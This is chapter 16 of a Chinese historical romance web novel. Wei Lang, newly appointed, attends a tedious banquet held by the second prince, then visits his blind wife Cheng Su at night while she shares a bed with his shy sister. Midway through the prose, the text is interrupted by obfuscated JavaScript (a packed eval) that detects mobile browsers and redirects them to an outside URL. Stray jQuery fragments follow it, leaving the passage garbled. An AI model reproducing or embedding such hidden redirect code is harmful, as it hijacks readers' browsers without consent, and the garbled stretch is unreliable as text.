16. 第十六章

作品:《明月旧曾谙

    卫琅当即笑道:“既是来恭贺我新婚的,怎么也不见你们带贺礼。”


    众人:……


    明明他大婚那日,他们都已经封了贺仪,这人竟然还好意思再伸手。短短数日不见,这厮的脸皮是越发长进了。


    不过都是从小玩到大的兄弟,彼此也知道对方是什么德性,齐文羽摇摇扇子道:“行了,我那最近新得了几张好皮子,赶明儿就给你送去。”


    卫琅也不客气,狮子大张口道:“我要那种通体雪白、没有一丝杂毛的,回头给你们嫂夫人做件白狐裘。”


    齐文羽:……他倒是真好意思。


    众人也有数日不见,一时天南地北地胡侃起来,没说上几句话,卫琅忽然想起什么,笑嘻嘻道:“都是自家兄弟,我也不亏待你们,如今我领了差了,回头就跟陛下给你们也都请个官做做。”


    他这个总指挥使初上任,手底下连个能用的人都没有,正好把他们诳来作伴。


    齐文羽矜持一笑:“我就不用麻烦了,家里早给我安排好了去处。”


    原来,他家里看他整日游手好闲不像话,正好他兄长在禁军任职,便打算找个由头把他塞进禁军里,好好历练一二。


    卫琅一听,脸拉得老长。


    他之前就觉得隆兴帝不厚道,明明他打了个胜仗回来,却让他领这么份儿差,齐文羽这种油头粉面的二世祖,却能混进禁军。这么一看,他果然还是被坑了。


    自己被坑固然令人惋惜,但兄弟的成功更令人揪心。


    卫琅冷哼道:“等我改日就奏禀陛下,先把你这纨绔踢出禁军队伍。”


    旁边另一人笑道:“要说纨绔,谁能比得上你卫小侯爷啊。”


    “就是,陛下还让你管这五城兵马司,这不就跟那狐狸掉进了鸡窝里。往日你惹事的时候,他们就不敢拿你怎么样,如今你可成了他们的顶头上司,他们不得把你这尊大佛供起来。”


    身后几名指挥使俱是一脸苦笑。


    话虽说得不好听,却是实情。他们这些人表面上看起来掌管着整个京城的治安,却也不过是个六品官。在京城皇亲国戚满地走,大小官员不如狗的地界上,那是谁也不好得罪,只能受夹板气。


    像卫琅这样的祖宗,以往他们碰上了是一个头比两个大,只能敬着。


    卫琅眼角的余光瞥见那几位指挥使脸色不好看,随口道:“行了行了,还会不会说话,如今都是一家人了,以后还要互相关照。今日我头一天上任,做东请大家去得月楼那里吃顿便饭。”


    几位指挥使还在你看我我看你,众纨绔们却已轰然叫好,难得能宰卫琅一顿狠的,自然没人想跟他客气。


    一群狐朋狗友拉拉扯扯着,正准备去找个地方玩乐,刚出了大门就被人堵住了,说是二皇子请几位赴宴。


    卫琅:???


    皇家这群人是逮着他薅没完了是吧?


    虽然不满,可他还是不得不去。


    昨日他刚去了太子的宴会,今日若转头拒了二皇子的邀约,指不定被有心人添油加醋,又要传出什么话来。得罪了人不说,还要给家里惹一身麻烦。


    像他们这种人家,本就是武将出身,最忌讳的就是卷进皇子的争斗中。


    等到了那边,果然不出卫琅所料,二皇子那边的宴会也同样冗长又无趣,仍是一群人捧着二殿下溜须拍马,或是有意无意拉拢试探,没意思透了。


    然而再怎么没意思,人在京城这地界上混,基本的人情世故还是要懂的,卫琅不得不硬着头皮应酬下去。


    这一来二去,时辰便不早了。


    眼看今晚是暂时回不去了,他只得打发木通先回去,给程素报个信。


    虽然他昨日被妹妹占了被窝,的确是有些不快。可转头一想,他尚且出来玩乐,素素却只能自己孤零零待在府里。


    与其让她白白等他,倒还不如让人好好陪她一会儿。


    等到夜深人静,酒阑人散后,卫琅再回到抱筠居时,天已近亥时,听丫鬟们说,程素跟卫若早在一刻钟前地睡下了。


    他顺着门缝,探头探脑地往里头看:“那也才刚睡下,素素还没睡着吧,让我进去看一眼,一眼就走。”


    白芷左拦右挡,却怎么也挡不住他想要溜进去的心,只好自己站在门口万分警惕地守着:“侯爷,说好了只看一眼,只看一眼您就出来,千万别惊了她们。”


    卫琅胡乱嗯嗯哼哼了几下,也不知应了还是没应,拔腿就往屋里走。


    卧房里很是安静,尽管光线有些昏暗,不过借着月光,勉强还能视物。


    他悄无声息地摸到了床边,透过帷幔,只见程素恰巧睡在床的外侧,里面隐约还有个脑袋,应该就是卫若了。


    到底是一天没见了,他一屁股坐在床边,盯着被子里裹着的人看了又看。


    程素正闭目安恬地睡着,浑然不知身旁正坐了个人。


    她这人性情温柔恬淡,说话也细声慢气的,再好的性子不过,可卫琅平日里看她,总觉得她有几分疏离,仿佛怎么也猜不透她心里在想什么。


    然而眼下,她整个人被严严实实地裹在锦被里,只露出个脑袋来,眼睛紧闭,睫毛浓密而整齐,竟然不自觉流露出一种罕见的乖巧呆气,怪惹人怜爱的。


    卫琅左看右看,竟鬼使神差地撩开帐子,飞快地往她额头上亲了一下。


    门口立即传来白芷刻意压低的催促声:“侯爷,人也看过了,赶快走吧。”


    他还没来得及回味,只好匆匆起身,闷头就往外走。然而心情激荡之下,一时不察,路过案几时竟然狠狠撞了一下桌角,下意识发出了一声闷哼。


    他正疼得龇牙咧嘴,身后传来迟疑的询问声:“……侯爷,您可还好?”


    程素竟然醒了。


    卫琅瞬间来了精神,也忘了疼痛,一溜烟又回到床边:“你醒啦?”


    程素轻轻比了个噤声的手势:“小声些,去外面说,莫把若若吵醒了。”


    她本意是等她起身后,让卫琅牵着她移步至外间,却不曾想忽然整个人身体一轻,整个人被拦腰抱了起来。


    程素下意识抓住了他的衣襟,好在只有几步路的距离,她很快就被放在了圆凳上,又听卫琅笑道:“你也未免太轻了,回头可得让小厨房给你好好补补。”


    虽是体贴的话,不过从这人的嘴里说出来,似乎总带着三分调笑的意思。


    程素怎么回答也不是,只好问:“侯爷刚刚撞到哪里了,可还疼着?”


    卫琅顺着竿子就往上爬:“是有点疼,要不你给我揉揉?”


    程素脸颊微热,假装没听到,反而催促道:“……这么晚了,侯爷早些休息吧,若若已经睡了,我也要睡了。”


    卫琅装模作样地叹了口气:“才见到就要赶人走,哪有你这样的。都快一天没见了,好不容易才能说上句话。我可想你呢,你怎么一点也不想我?”


    明明里一早出门前也不是没说过话,可见他大有撒娇耍赖、不达目的誓不罢休的架势,程素只好认命道:“……想的。”


    她的声音几乎微不可闻,卫琅本想装作没听见,非让她再说一遍不可,可见她难得这般,到底还是心软了。


    他望了一眼她身后的帐子,随口道:“你跟若若的关系怎么这么好,这丫头从小胆子就小,除了老夫人,谁都不亲,就是见了我也躲躲藏藏的。”


    卫琅本是随口感叹,可话一出口,不知怎么想起新婚后头一日,他带程素去给老夫人敬茶那天,姑嫂二人携手的画面了,心里竟越想越吃味。


    自家妹妹是什么性子,他又不是不知道。老夫人为了让她能亲人些,不知耗费了多少心思。四婶在府里多少年了,那丫头见了她就跟老鼠见了猫似的。她能跟素素才认识多久,就好到同榻而眠了?


    还有素素也是,她整个人淡淡的,对他也淡淡的,怎么就看上这么个小丫头,还一再把她带在身边?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056947|193938||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    程素轻声道:“……侯爷昨日不是问过一回了?”


    卫琅这会儿正是疑心病犯了的时候,语气也酸溜溜的:“问是问过了,还不许人再问一遍。你跟我说说,我还没回京那会儿,你们是怎么认识的?”


    程素当真仔细回想了一下。


    她并不记得自己做过什么特别的事,只记得那时老夫人常常邀母亲来府上闲谈,她在一旁作陪。


    来的次数多了,有那么一两次,自然而然地也就碰见了卫若。


    长辈们谈话,她们不好参与,老夫人怕她们嫌闷,便让她们自己四处转转。


    卫若生怕她摔了碰了,常小心翼翼地要扶着她,绞尽脑汁地想陪她解闷。


    她虽然不善言辞,却是个极其心细体贴的好孩子,也许是看程素目不能视,对她多一份怜悯;也许是她自幼便是被人照顾的那个,头一次遇到还需要她来帮忙的人,故而对程素格外亲近。


    两个人常常坐在水边,或是亭子里,有时候也不说话,一坐就是大半天,后来不知怎么地就熟悉起来了。


    说来说去,话一绕到程素的眼睛上,卫琅就连吃醋的劲儿都提不上来了。


    他望着对面,想象着那双眼尚还清亮时的样子,忽而没头没脑地来了一句:“……再等上一年半载就好了,你的眼治好了,你就能看见我了。”


    程素一怔,有些不解:“就算没治好,我现在也能听见侯爷说话。”


    卫琅眉头一扬:“那不一样,等你能看见了,就会知道我也是相貌堂堂,生得一表人才呢。不说让你一见倾心,也肯定让你……呃,念念不忘!”


    他自吹自擂到最后,还是把话头险之又险地收了回来,没好意思把牛皮吹破。


    程素忍俊不禁道:“好,等我的眼好了,一定好好看看侯爷的模样。”


    年轻的小夫妻二人絮絮低语了好一阵子,程素的声音也带上了些倦意。就是再怎么恋恋不舍,还有一肚子说不尽的话,卫琅也知道,时候不早了。


    他正打算把程素再抱回床上,忽然想起什么,冷不丁问道:“素素,你方才……是什么时候醒的?”


    程素沉默了。


    她不肯说话,卫琅心里却得意了起来。让她刚刚装睡吧,这下就是明知道自己被他亲了也不敢声张了吧。


    可惜屋里太暗,他也不能好好看看,素素这会儿脸上有没有红晕。


    卫琅故意逗弄她:“素素,你怎么不说话了?是有什么话不好意思说吗?你我可是夫妻,有什么是不好张口的。”


    眼看他越发得意,程素终于幽幽开口:“……侯爷,你知道半夜突然被惊醒,发现床头站了个人是什么感觉吗?”


    卫琅:……


    这一瞬间,屋里静得落针可闻。


    他迅速起身:“不说了,再等一会儿若若该醒了,我抱你回床上。”


    程素只觉身子再次一轻,就被卫琅笨手笨脚地又塞回了被子里。他还没忘给她盖好被子,把她裹成了个茧才停手。


    借着给程素掖被角的机会,卫琅俯下身,又轻轻嗅了嗅她鬓发间的清香,这才心满意足地摸黑溜走了。


    等听到关门声和逐渐走远的脚步声,被窝里的程素这才松了口气。


    然而她这口气显然是松得早了。


    身旁传来窸窸窣窣的动静,旁边的被子一动,一个小身子凑了过来。


    程素侧过了身,脸面向卫若那边,歉意道:“把你吵醒了。”


    卫若同样面向她而卧,先摇摇头,又小声说了句没事的,然后又没了话。


    程素静静地等了一会儿,黑暗中果然传来卫若细弱的声音:“素素姐姐,所以……你刚刚是什么时候醒的啊?”


    小丫头这会儿说话非但不磕绊了,语气里反而还满是好奇


    一句话问得程素的呼吸忽然乱了一瞬,耳廓也隐隐发起烫来。


    可她什么也没说,只道:“睡吧。”